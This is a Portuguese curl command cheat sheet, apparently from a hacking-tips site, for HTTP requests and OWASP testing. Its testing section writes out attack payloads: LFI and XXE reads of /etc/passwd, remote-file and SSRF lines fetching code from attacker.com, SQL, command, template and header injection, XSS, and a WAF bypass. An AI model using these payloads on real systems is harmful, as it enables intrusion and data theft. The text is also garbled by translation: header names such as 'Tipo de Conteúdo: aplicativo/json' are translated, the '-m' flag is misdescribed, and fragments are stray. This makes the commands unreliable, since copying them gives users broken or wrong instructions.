Guia de Referência do Comando cURL

cURLé uma ferramenta de linha de comando para fazer requisições HTTP. É amplamente utilizada para testar APIs, baixar arquivos e executar diversas tarefas relacionadas à web. Abaixo está uma folha de dicas para ajudar você a usar o curl de forma eficaz:

Folha de dicas do comando Curl:

# Requisição GET simples:
curl <URL>

# Salvar a saída em um arquivo:
curl -o <nome do arquivo> <URL>

# Seguir redirecionamentos:
curl -L <URL>

# Método HTTP personalizado:
curl -X <MÉTODO> <URL>

# Incluir cabeçalhos:
curl -H "Nome do Cabeçalho: Valor do Cabeçalho" <URL>

# Incluir vários cabeçalhos:
curl -H "Cabeçalho1: Valor1" -H "Cabeçalho2: Valor2" <URL>

# Definir dados da requisição com o método POST:
curl -X POST -d "chave1=valor1&chave2=valor2" <URL>

# Enviar dados JSON:
curl -X POST -H "Tipo de Conteúdo: aplicativo/json" -d '{"chave": "valor"}' <URL>

# Enviar dados de Um arquivo:
curl -X POST -d @<nome do arquivo> <URL>

# Autenticação básica:
curl -u nome_de_usuário:senha <URL>

# Incluir um agente de usuário:
curl -A "String_do_Agente_do_Usuário" <URL>

# Exibir cabeçalhos de solicitação e resposta:
curl -v <URL>

# Exibir apenas cabeçalhos de resposta:
curl -I <URL>

# Definir tempo limite da solicitação:
curl --max-time <segundos> <URL>

# Ignorar validação do certificado SSL:
curl -k <URL>

# Baixar vários arquivos simultaneamente:
curl -O <URL1> -O <URL2>

# Exibir progresso durante o download:
curl -# -O <URL>

# Baixar um arquivo com um nome personalizado:
curl -o <nome_personalizado> <URL>

# Enviar um arquivo com o método PUT:
curl -X PUT -T <arquivo> <URL>

# Definir agente de usuário personalizado:
curl -H "Agente do Usuário: Custom-UA" <URL>

Métodos HTTP (GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS)

# Solicitação GET
curl -X GET https://api.example.com/data

# Solicitação POST
curl -X POST -d "param1=value1&param2=value2" https://api.example.com/data

# Solicitação PUT
curl -X PUT -d "param1=value1&param2=value2" https://api.example.com/data

# Solicitação DELETE
curl -X DELETE https://api.example.com/data

# Solicitação PATCH
curl -X PATCH -d "param1=new_value1" https://api.example.com/data

# Solicitação HEAD
curl -X HEAD https://api.example.com/data

# Solicitação OPTIONS
curl -X OPTIONS https://api.example.com/data

**Verificando a Segurança do Cabeçalho HTTP**

# Verificando o cabeçalho HTTP Strict Transport Security (HSTS)
curl -I https://example.com

# Verificando o cabeçalho Content Security Policy (CSP)
curl -I https://example.com

# Verificando o cabeçalho X-Content-Type-Options
curl -I https://example.com

# Verificando o cabeçalho X-Frame-Options
curl -I https://example.com

# Verificando o cabeçalho X-XSS-Protection
curl -I https://example.com

# Verificando o cabeçalho Referrer-Policy
curl -I https://example.com

# Verificando o cabeçalho Feature-Policy
curl -I https://example.com

# Verificando Cross-Origin-Resource-Policy Cabeçalho (CORP)
curl -I https://example.com

# Verificando o cabeçalho Cross-Origin-Embedder-Policy (COEP)
curl -I https://example.com

# Verificando o cabeçalho Cross-Origin-Opener-Policy (COOP)
curl -I https://example.com

# Verificando o cabeçalho Expect-CT
curl -I https://example.com

# Verificando a Extensão de Fixação de Chave Pública para o cabeçalho HTTP (HPKP)
curl -I https://example.com

Folha de Dicas do Comando Curl para os 10 principais OWASP

# Requisição GET com Cookies e Agente do Usuário:
curl -X GET -H "Agente do Usuário: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/58.0.3029.110 Safari/537.3" -H "Cookie: nome=valor; nome2=valor2" <URL>

# Solicitação POST com Cabeçalhos e Dados Personalizados:
curl -X POST -H "Tipo de Conteúdo: aplicativo/x-www-form-urlencoded" -H "Autorização: Portador <TOKEN>" -d "nome de usuário=usuário&senha=senha" <URL>

# Enviando Dados como JSON e Recebendo Saída em JSON Bonito:
curl -X POST -H "Tipo de Conteúdo: aplicativo/json" -d '{"chave": "valor"}' <URL> | jq .

# Seguir Redirecionamentos e Exibir Cabeçalhos de Resposta:
curl -iL <URL>

# Enviar Requisição com Autenticação Básica:
curl -X GET -u nomedeusuário:senha <URL>

# Testando Vulnerabilidades de Inclusão de Arquivo Local (LFI):
curl -X GET <URL>/page.php?page=/etc/passwd

# Testando Vulnerabilidades de Inclusão de Arquivo Remoto (RFI):
curl -X GET <URL>/page.php?url=http://attacker.com/malicious-code.txt

# Verificando SSRF (Solicitação Falsificada do Lado do Servidor):
curl -X GET "http://vulnerable.com/api?url=http://internal-server/"

# Testando Injeção de SQL (Solicitação GET):
curl -X GET "<URL>?id=1' OR '1'='1"

# Testando Injeção de SQL (Solicitação POST):
curl -X POST -d "username=admin' OR '1'='1&password=test" <URL>

# Testando Vulnerabilidades de Cross-Site Scripting (XSS):
curl -X GET -d "input=<script>alert('XSS');</script>" <URL>

# Testando Injeção de Template do Lado do Servidor (SSTI):
curl -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user={{7*7}}" <URL>

# Verificando Vulnerabilidades de Redirecionamento Aberto:
curl -X GET <URL>?redirect=http://evil.com

# Testando Injeção de Comando (Teste Básico):
curl -X GET "<URL>?input=test; whoami"

# Enviando um Arquivo com a Funcionalidade de Envio de Arquivos:
curl -X POST -F "file=@/path/to/local-file" <URL>

# Ignorando Firewalls de Aplicativos Web (WAF):
curl -X GET -H "X-Forwarded-For: <IP-malicioso>" <URL>

# Testando a Configuração Incorreta de Compartilhamento de Recursos de Origem Cruzada (CORS)
Rações:
curl -X GET -H "Origem: evil.com" <URL>

Comandos curl para manipulação de texto

# Escrevendo Resposta em um Arquivo sem Saída de Progresso:
curl -s -o <arquivo-de-saída> <URL>

# Exibindo Apenas os Cabeçalhos de Resposta:
curl -I <URL>

# Exibindo Apenas o Código de Resposta HTTP:
curl -o /dev/null -w "%{http_code}" <URL>

# Seguir Redirecionamentos, mas Limitar Redirecionamentos a um Número Especificado:
curl -L -s -m <redirecionamentos-máximos> <URL>

# Usando uma Interface de Rede Específica para a Requisição:
curl --interface <nome-da-interface> <URL>

# Usando um Servidor DNS Específico para Resolução:
curl --dns-servers <ip-do-servidor-dns> <URL>

# Fazendo uma Requisição com uma Versão HTTP Específica:
curl --http1.0 <URL>
curl --http2 <URL>

# Enviando dados de um arquivo com formato bruto:
curl -X POST --data-binary "@<caminho-do-arquivo>" <URL>

# Usando cabeçalhos HTTP personalizados de um arquivo:
curl -X GET -H "@<arquivo-cabeçalho>" <URL>

# Testando vulnerabilidades de Entidade Externa XML (XXE):
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>' <URL>

# Testando falsificação de solicitação do lado do servidor (SSRF) com atraso:
curl -X GET "http://vulnerable.com/api?url=http://attacker.com/malicious-code.txt" -m 10

# Testando a configuração incorreta dos métodos HTTP (PUT, DELETE, etc.):
curl -X PUT -d "data=secret" <URL>

# Usando um User-Agent específico para a solicitação:
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" <URL>

# Adicionando um cabeçalho de host personalizado:
curl -H "Host: example.com" <URL>

# Usando um proxy específico para a solicitação:
curl -x <proxy-url>:<port> <URL>

# Enviando um formulário com vários campos:
curl -X POST -d "username=user&password=pass&other_field=value" <URL>

# Testando o cabeçalho HTTP Injeção:
curl -X GET -H "Cabeçalho: Cabeçalho-Malicioso%0d%0aInjeção: valor" <URL>"

Fonte

lazyhackers